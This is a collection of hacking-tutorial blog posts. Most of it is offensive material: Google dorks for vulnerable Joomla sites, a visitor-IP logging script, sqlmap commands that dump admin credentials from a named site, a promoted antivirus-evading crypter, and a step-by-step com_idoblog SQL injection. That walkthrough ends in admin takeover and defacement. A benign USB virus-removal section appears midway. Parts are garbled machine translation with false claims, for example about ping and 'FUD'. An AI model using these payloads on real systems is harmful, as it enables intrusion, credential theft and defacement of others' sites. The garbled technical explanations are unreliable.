Exploiting File Upload Vulnerabilty in Joomla Websites

Well in other words we can also call  "Exploit Com_Media" . 

This is very easy to learn step by step to get a vulnerability of file uploading in Joomla site.

Just edit your dork in your desire domain or what you want then you will be able to get more result instead of these below dorks.

Read more:   100+ Free Hacking Tools To Become Powerful Hacker

Exploit: /index.php?option=com_media&view=ima­ges&­tmpl=component&fieldid=e_name=jform_art­icletext&asset=com_content&author=&folde­r=

Dork 1: inurl:index.php?option=com_media& site:ra
Dork 2: inurl:index2.php?option=com_media& site:net 
Dork 3: inurl:option=com_media

Read More

How to Locate a Computer With an IP address

[i]

IP stands for Internet Protocols. An IP address is the address for servers and a person's computer who is connected to the internet. Everyone on the internet has an IP address, and once you find out what it is, you know exactly where they are, and you can begin to hack them.
Internet Protocols Addresses are usually made up of random numbers separated by dots. Every IP address is unique, no one can have the same one. This is why it is very important that you're careful when typing, you do NOT want to accidentally hack the wrong person/network.

Examples:

• 66.17.44.186
• 81.73.50.42
• 192.168.1.1
• 127.0.0.1
• 84.10.1.5982
• 17.44.186
• 816.83.337.04

Obtaining a target's IP is address is the first step to prepare for an attack. Explained below are methods of obtaining a victim's IP address.

Ping - the easiest way to steal an IP

Ping is a tool used to endlessly make requests to a server or another person. It works with both IP address or domain names. Domain names are the addresses that you type in to go to a website. Domain names are easier to remember, which is why the internet was invented.
Either way, by pinging a site, you can easily over-load it with requests, and at the same time obtain the IP. Ping is supported in Microsoft DOS, as shown below:



As you see, the hacker here is using Windows XP (a good choice), and in order to get the IP of cometohack.com, the only thing he had to do was open up a DOS prompt and type in ping cometohack.com. Upon doing so, cometohack.com was instantly hit with 4 requests which distracted their server long enough in order for Ping to steal the IP address.


[ii]

An ultimate hack which enable u to trace any one any where in the world


Most of you may be curious to know how to find the IP address of your friend’s computer or to find the IP address of the person with whom you are chatting in Yahoo messenger or Gtalk. Finding out someone's IP address is like finding their phone number, an IP address can be used to find the general location where that person lives. Now while most of the tutorials on the net teach you how to steal an ip address via MSN, or any other chat software, in this post I’ll show you how to find IP address of someones computer using script. Using this method for hacking someones ip adress is very easy and effectively, so just follow the steps bellow.

NOTE: This tutorial is for educational purposes only, I am NOT responsible in any way for how this information is used, use it at your own risk.

How to Hack Someones IP Address?

Alright, I'm gonna give you this script, that you write in the index.php. It will redirect them to http://www.google.com/, but you can change that in the script.

Here is the sript:

Code:

<?php
$file = 'IPz.txt';
$handle = fopen($file,'a');
if(!isset($_GET['p'])) { header('Location: http://google.com'); }
fwrite($handle, $_GET['p'].': '.$_SERVER['REMOTE_ADDR'].'\r\n');
fclose($handle)
?>

1. First of all you need to make a new .txt document on the website you're uploading this to. Call it IPz.txt (You can change that in the script as well where it says $file = 'IPz.txt'; in the second line. Then change the CHMOD to 777.

2. Now you need to past the script above in to a .php document, and upload it.

3. Now you make people visit your site, and they will get redirected to Google.

4. To view the IP, you simply add "/IPz.txt" after your domain, and you'll see the IP.


This is a very simple, but effectually method for stealing someones IP Address.
Hope you'll find this tutorial useful. Happy Hacking :)

Read More

12 Simple Steps To Become A Hacker

Hacking is an engaging field but it is surely not easy. To become a hacker one has to have an attitude and curiosity of learning and adapting new skills. You must have a deep knowledge of computer systems, programming languages, operating systems and the journey of learning goes on and on. Some people think that a hacker is always a criminal and do illegal activities but they are wrong. Actually many big companies hire hackers to protect their systems and information and are highly paid. We have prepared a list of 12 most important steps necessary to become a hacker, have a deeper look

1. Learn UNIX/LINUX

UNIX/LINUX is an open source operating system which provides better security to computer systems. It was first developed by AT&T in Bell labs and contributed a lot in the world of security. You should install LINUX freely available open source versions on your desktops as without learning UNIX/LINUX, it is not possible to become a hacker.

• 
  

2. Code in C language 

C programming is the base of learning UNIX/LINUX as this operating system is coded in C programming which makes it the most powerful language as compared to other programming languages. C language was developed by Dennis Ritchie in late 1970’s. To become a hacker you should master C language.

3. Learn to code in more than one Programming Language

It is important for a person in the hacking field to learn more than one programming. There are many programming languages to learn such as Python, JAVA, C++. Free eBooks, tutorials are easily available online.

• SQL Injection (WebSite Hacking)

4. Learn Networking Concepts

Another important and essential step to become a hacker is to be good at networking concepts and understanding how the networks are created. You need to know the differences between different types of networks and must have a clear understanding of TCP/IP and UDP to exploit vulnerabilities (loop holes) in system.

Understanding what LAN, WAN, VPN, Firewall is also important.

You must have a clear understanding and use of network tools such as Wireshark, NMAP for packet analyzing, network scanning etc.

5. Learn More Than One Operating Systems 

It is essential for a hacker to learn more than one operating system. There are many other Operating systems apart from Windows, UNIX/LINUX etc. Every system has a loop hole, hacker needs it to exploit it.

6. Learn Cryptography

To become a successful hacker you need to master the art of cryptography. Encryption and Decryption are important skills in hacking. Encryption is widely done in several aspects of information system security in authentication, confidentiality and integrity of data. Information on a network is in encrypted form such as passwords. While hacking a system, these encrypted codes needs to be broken, which is called decryption.

• Google Fresh Dork List

7. Learn more and more about hacking

Go through various tutorials, eBooks written by experts in the field of hacking. In the field of hacking, learning is never ending because security changes every day with new updates in systems.

• How to Hack Someone IP Address

8. Experiment A Lot

After learning some concepts, sit and practice them. Setup your own lab for experimental purpose. You need a good computer system to start with as some tools may require powerful processor, RAM etc. Keep on Testing and learning until you breach a system.

9. Write Vulnerability (Loop hole program)

Vulnerability is the weakness, loop hole or open door through which you enter the system. Look for vulnerabilities by scanning the system, network etc. Try to write your own and exploit the system.

• Learn Hacking Step by Step

10. Contribute To Open Source Security Projects

An open source computer security project helps you a lot in polishing and testing your hacking skills. It’s not a piece of cake to get it done. Some organizations such as MOZILLA, APACHE offer open source projects. Contribute and be a part of them even if your contribution is small, it will add a big value to your field.

11. Continue never ending Learning 

Learning is the key to success in the world of hacking. Continuous learning and practicing will make you the best hacker. Keep yourself updated about security changes and learn about new ways to exploit systems

12. Join Discussions and meet hackers 

Most important for a hacker is to make a community or join forums, discussions with other hackers worldwide, so that they can exchange and share their knowledge and work as a team. Join Facebook groups related to hacking where you can get more from experts.

Read More

How To Hack Website Through SQLMAP (Step By Step GuideLine)

Everyone who want to learn Hacking, he must have knowledge about sqlmap & site vulnerabilty.

Requirements :-

Python27 or Sqlmap and sqli vulnerability website 

if you don't have any vulnerability site using Google Dorks    

Lets start Open you terminal and run sqlmap 

Now type "sqlmap.py -u http://c2-europe.eu/news-full.php?id=1049 --dbs" without quotes and hit enter 

(--db = Database)

you can see this we got 2 databses

 [*] c2deuts_ice

 [*] information_schema

now type "sqlmap.py -u http://c2-europe.eu/news-full.php?id=1049 -D  c2deuts_ice --tables" without quotes (-D mean database name and )

We got 25 tables  but we need only admin table 

now type "sqlmap.py -u http://c2-europe.eu/news-full.php?id=1049 -D  c2deuts_ice -T admin --columns" without quotes (-T put table name )

you can see this we got admin usernames  and passwords for get password type follow commands

"sqlmap.py -u http://c2-europe.eu/news-full.php?id=1049 -D  c2deuts_ice -T admin -C username,password --dump" without quotes

you can see this wo got admin users and password 

Enjoy Happy hacking 

Like my page on facebook www.facebook.com/ComeToHack and share this tutorials 

Thanks for visiting :D

Read More

How to Remove Shortcut Folder Virus from USB / Pen Drive / Memory Card / PC Without Antivirus

Virus is very dangerous for any kind of Computer related instruments. Many friends asked about to Remove Shortcut Folder Virus in different drives like USB / Pen Drive / PC & Memory Cards... There are many reasons about the creation of that virus but today our topic is How to Remvoe Shortcut Folder / File Virus from USB / Pen Drive / Memory Card / PC Without Antivirus so we solve over there.

NOTE: No need of any antivirus software to perform this operation.

So here we go the 1st step is to Open RUN in you PC (Shortcut Window+R) then type there ''cmd'' like this

How to Remvoe Shortcut Folder / File Virus from USB / Pen Drive / Memory Card / PC Without Antivirus

After type "cms" Click on OK then you get black screen prompt like this :

• Dangerous Computer Virus Ever

There you have to type just your drive name like if you've E Drive then type there ( E: ) without brackets, then press enter... you will enter in your drive there you show ( E:\> ) like shown this :

After enter in your E Drive type there " Attrib -s -h /s /d *.* ''     without quots & press enter. Now your drive is ready & shortcuts are removed without any antivirus easily in few steps.

• Solution for "Shortcut" Virus Affecting Your Pendrive

 How to remove autorun virus using cmd ?

Steps :

Press ( Start or winkey ) -> Run -> cmd.
If you are at the root directory ( C drive ) then do the following,  else give cd.. and come to the root C:\> and do the following.
Type in ( attrib -h -r -s autorun.inf ), without brackets  and press Enter.
Type ( del autorun.inf ), without brackets and press Enter.
Follow this for all other drives.

How to remove Shortcut virus using cmd ?

These Shortcut viruses are those which converts all your data inside your pen drive or Hard disk to shortcuts, and which are recoverable.

Just follow the below given steps to remove shortcut virus from pen drive and recover back your files.

• Go to Start -> Run -> cmd.
• Go to your pen drive directory.
• Type this command: del *.lnk and press Enter.
• Type attrib -h -r -s /s /d e:\*.*
• And then press a gentle Enter.

Recover your files :

You can recover your files through Winrar.

• Open WINRAR Application.
• Navigate to your Pendrive location or PC Folder location.
• Copy Files and Paste where you want.
• Format your Pendrive.

How to remove empty Folder virus using cmd ?

Got some Files in your pen drive but they are empty! Because of the virus in your pendrive malfunctions your drive. How to remove this empty folder virus and recover files? Follow the steps given below.

• Start -> Run -> cmd.
• Type this command: attrib -h -r -s /s /d x:\*.*
• Here the letter "x" should be replaced with the drive alphabet of your 

• pendrive that you have inserted into the computer. If your pendrive shows

   the drive alphabet as "J", then type  this 

• command: attrib -h -r -s /s /d j:\*.*
• And then press a gentle Enter.

Note:

Do a restart, and before that don't open any drives after performing the following steps.

Read More

Download Fud Crypter Learn Hacking What is Crypter

Note : - You encryyption variety of techniques can be aware that this information is for educational purposes . Http://ComeToHack.com/ author or any of this information is not responsible for misuse . Our sole aim is to get people to protect themselves and the world can save themselves is to create awareness that is protected from piracy .

People ! The issue of Education Progress FUD Crypter for you and provide a link to download it brings .

FUD about the debate, and a debate about this before I say Crypter .

What is Crypter ?

A Crypter our viruses , keyloggers or detected and removed by the antivirus to avoid being a mouse device is used to hide an antivirus software. Thus , crypter users of your program source code is a program that allows you to Crypt . In general, the distribution of the application source code and source code within the virus looks for a specific string . Antivirus detects any certain malicious strings , it either stops scan or system file as a virus and delete it.

What does Crypter ?

Only a hidden Crypter each individual code within source code adjust the values ​​. Therefore, it becomes invisible source . Therefore , a Trojan virus and encryption bypass virus detection upward and AV ( antivirus ) piracy without disabilities have achieved our goal . The program runs once Crypter deciphered not hide the source code to be

FUD Crypter how it works?

The following describes the key factor for FUD Crypter

Your Crypter EXE and it actually takes a binary file and end ( EOF ) file that stores encryption applies to many . Until the establishment of a new secret performance .

Original XXL encrypted
(Original) 001 ----- ( encrypted ) 010

No new antivirus X- crypter.When new implementation code because their Instantly turns out . exe file with a time binary data into small little pieces and decrypts pump in an existing process or a new blank or code ( not scanned by most alternative data streams has many parts / V) and then run it . TXT file or MP3.

How to manually difference between the original and encrypted file can?

An important point to note the code that hides Crypter file , but the file size can not hide . If the file size is 10KB Therefore , the Crypt and you want to encrypt our file File size 100 KB 100 KB 10 KB total size of the file will be encrypted ... No 110KB.

If you see the original file size only when the difference will be useful .

Now back to FUD .

What is FUD ?

FUD is an acronym for full disclosure can not be . To avoid antivirus with the increased use of encryption , AV ( antivirus ) and even indoor Crypter Crypter code to add definitions for the detection becomes more . Public Crypter is unavailable at this time because as , Ardamax Keylogger use of crypter to hide and mice , FUD is more complex .

Your infected mice CRYPT encryption available to the public , so that they are not detected by antivirus is necessary . Most FUD public release for a maximum of one or two days "FUD" Reason is encrypted stay . FUD for encrypting the forum search or make a piracy ( which is tedious , and I 'm working on it ) either .

Where is my Crypter FUD or not can check ?

And test their secret Crypter to prove any viruses and ensure that the sample is not distributed to tuck http://scanner.novirusthanks.org

Note: You do not check Crypter http://virustotal.com distributed samples with VirusTotal Scan Do not be a FUD Crypter .

Where in FUD Crypter free download can?

I get FUD.So Crypter FUD Crypter remain available so popular is not only made ​​by indivuals and searching.It by spending some time on Google can be found by any of those if there are benefits to be themselves , to see some friendly survey FUD virustoal.So doubt be better for a long time and will not keep you as its share FUD Crypter for me used here .

Free Download FUD Crypter

You can check the playing and not FUD Crypter link for free so I 'm giving you .

FUD Crypter for free download click here to

Name	Last modified	Size	Description
	Parent Directory		-
	gpg-crypter-0.2.1-1/	04-Mar-2012 09:54	-
	gpg-crypter-0.2/	04-Mar-2012 09:54	-
	gpg-crypter-0.3.5/	22-Oct-2012 09:31	-
	gpg-crypter-0.3/	05-Mar-2012 09:59	-
	gpg-crypter-0.4.1/	02-Nov-2012 00:21	-
	gpg-crypter 0.1-alpha1/	03-Mar-2012 09:52	-

 Crypter.zip          29-Feb-2008 09:17   35K  

Yes , you learn hacking email id and receive regular updates make sure to subscribe , want to know more about us .. :)

Read More

How To Hack Joomla Website (WMS) Learn Joomla Hacking

Togay going to 8 points discuss how to Joomla website can be ignored. And enter the game, and Hacker Joomla know how in less than -8? Ah, to be able to do this. However, if the user Joomla you do not know anything about the Joomla Hack to save your Joomla or so we come! For there is a way to keep the hacks on Joomla, I will show in this exhibition.

I will go through the experience and the next thing that should be done to stop them;

1. Over at the Joomla! / Extension / project.

2. Over use of vulnerable extensions / themes, and not from the time

3. Over helping the stolen information and login / weak

4. Over use of the software / server vulnerable old - Apache, PHP, MySQL.

5. Over the use of web server configuration

6. Over the full Health Management and Joomla on the same server

7. Over the wrong permissions Joomla

8. Over by the malware on the local PC can access the enemy's health


The patch released on July 31 , 2013 relating to the Joomla version 2.5.13 and 2.5.x before , and Joomla 3.1.4 and earlier versions 3.x. Joomla bug found by Versafe web safe and simple vulnerabilities are applied . Joomla version 2.5.14 and 3.1.5 . prepare and submit an unprivileged user to upload files live . PHP adding a " . " ( Tau ) at the end of the file name only PHP .
Back Joomla 2.5.x and 3.x versions , and one can access the media manager to download and execute code by a nurse at the end of the file name you want to run . For sites powered by Joomla version does not support ( 1.5.x and quick Google search shows that there are thousands of these sites and online 1.5.x ) , not the enemy after the data on the server for this to work with Joomla .
Acccording to the leader , and one - Versafe founder Ayal Gruner , in thousands of Phishing and malware killed in the consumer finance 30 + Umea in the first half of 2013 , the host Joomla based site 57 percent .
" What we saw last few months it is important to use a cheater can use the site to host the drive - Phishing babys killed , " said Gruner . He said the company received more than -100 in use to have accepted the malicious JavaScript that uses the Key bank account Trojan to help change the online fraud . Gruner said the release of the company using Joomla in early June .
Open - management system for easy distribution more content - can be put power in the hands of the tax that apply specifically to house whatungakaretao website . Earlier this month , warned as the safety of Arbor Networks found whatungakaretao website called " Fort dance " in Joomla and WordPress site is approved . Prior to this year , security firm Incapsula have found backdoored malicious code over 90,000 websites powered by WordPress .

Tools required:
SQL-i Knowledge
reiluke SQLiHelper 2.7:http://filetram.com/download/file/4390169166/sqlihelper-2-rar
Joomla! Query Knowledge

DISCLAIMER:

THIS TUTORIAL IS FOR EDUCATION PURPOSE ONLY!!! YOU MAY NOT READ THIS TUTORIAL IF YOU DON'T UNDERSTAND AND AGREE TO THIS DISCLAIMER. ME AS AUTHOR OF THIS TUTORIAL NOT BE HELD RESPONSIBLE FOR THE MISUSE OF THE INFORMATION CONTAINED WITHIN THIS TUTORIAL. IF YOU ABUSE THIS TUTORIAL FOR ILLEGAL PURPOSES I WILL NOT BE HELD RESPONSIBLE FOR ANY ACTION THAT MAY BE TAKEN AGAINST YOU AS A RESULT OF YOUR MISUSE.

NOTE:

USE ANONYMOUS PROXY!!!

Introduction

Joomla! as Stable-Full Package is probably unhackable and If someone tells that HACKED Joomla, talking rubbish!!!

But people still hacked sites that use Joomla as Content Management System?!?

Joomla is made of components and modules and there are some developers apart from official team that offer their solutions to improve Joomla. That components and modules mede by that other developers are weak spots!

We hacked site that use Joomla! v1.5.6 and after that v1.5.9 through IDoBlog v1.1, but I can't tell that I hacked Joomla!

Finding Exploit And Target

Those two steps could go in different order, depend what you find first target or exploit...

Google dork: inurl:"option=com_idoblog"

Comes up with results for about 140,000 pages

At inj3ct0r.com search for: com_idoblog

Give us back Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln

==

Joomla Component idoblog 1.1b30 (com_idoblog) SQL Injection Vuln

==

index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10, ​11,12,13,14,15,16+from+jos_users--

Exploit can be separated in two parts:

Part I

index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62

This part opening blog Admin page and if Admin page don't exist, exploit won't worked (not completely confirmed)

Part II

+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,1​5,16+from+jos_users--

This part looking for username and password from jos_users table

Testing Vulnerability

Disable images for faster page loading:

[Firefox]

Tools >> Options >> Content (tab menu) >> and unclick 'Load images automatically'

Go to:

Code:

http://www.site.com/index.php?option=com_idoblog&view=idoblog&Itemid=22

Site load normally...

Go to:

Code:

http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62

Site content blog Profile Admin

Go to:

Code:

http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1--

Site is vulnerable

Inject Target

Open reiluke SQLiHelper 2.7

In Target copy

Code:

http://www.site.com/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62

and click on Inject

Follow standard steps until you find Column Name, as a result we have

Notice that exploit from inj3ct0r wouldn't work here because it looking for jos_users table and as you can see

our target use jos153_users table for storing data

Let Dump username, email, password from Column Name jos153_users. Click on Dump Now

username: admin

email: info@site.com

password: 169fad83bb2ac775bbaef4938d504f4e:mlqMfY0Vc9KLxPk056eewFWM13vEThJI

Joomla! 1.5.x uses md5 to hash the passwords. When the passwords are created, they are hashed with a

32 character salt that is appended to the end of the password string. The password is stored as

{TOTAL HASH}:{ORIGINAL SALT}. So to hack that password take time and time...

The easiest way to hack is to reset Admin password!

Admin Password Reset

Go to:

Code:

http://www.site.com/index.php?option=com_user&view=reset

This is standard Joomla! query for password reset request

Forgot your Password? page will load.

In E-mail Address: enter admin email (in our case it is:info@site.com) and press Submit.

If you find right admin email, Confirm your account. page will load, asking for Token:

Finding Token

To find token go back to reiluke SQLiHelper 2.7 and dump username and activation from Column Name jos153_users

username: admin

activation: 5482dd177624761a290224270fa55f1d

5482dd177624761a290224270fa55f1d is 32 char verification token, enter it and pres Submit.

If you done everything ok, Rest your Password page will load. Enter your new password...

After that go to:

Code:

http://www.site.com/administrator/

Standard Joomla portal content management system

Enter username admin and your password, click on Login

Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML

In Template HTML Editor insert your defaced code, click Apply, Save and you are done!!!

To make admin life more miserable, click on admin in main Joomla window and in User Details page change admin E-mail

 

Read More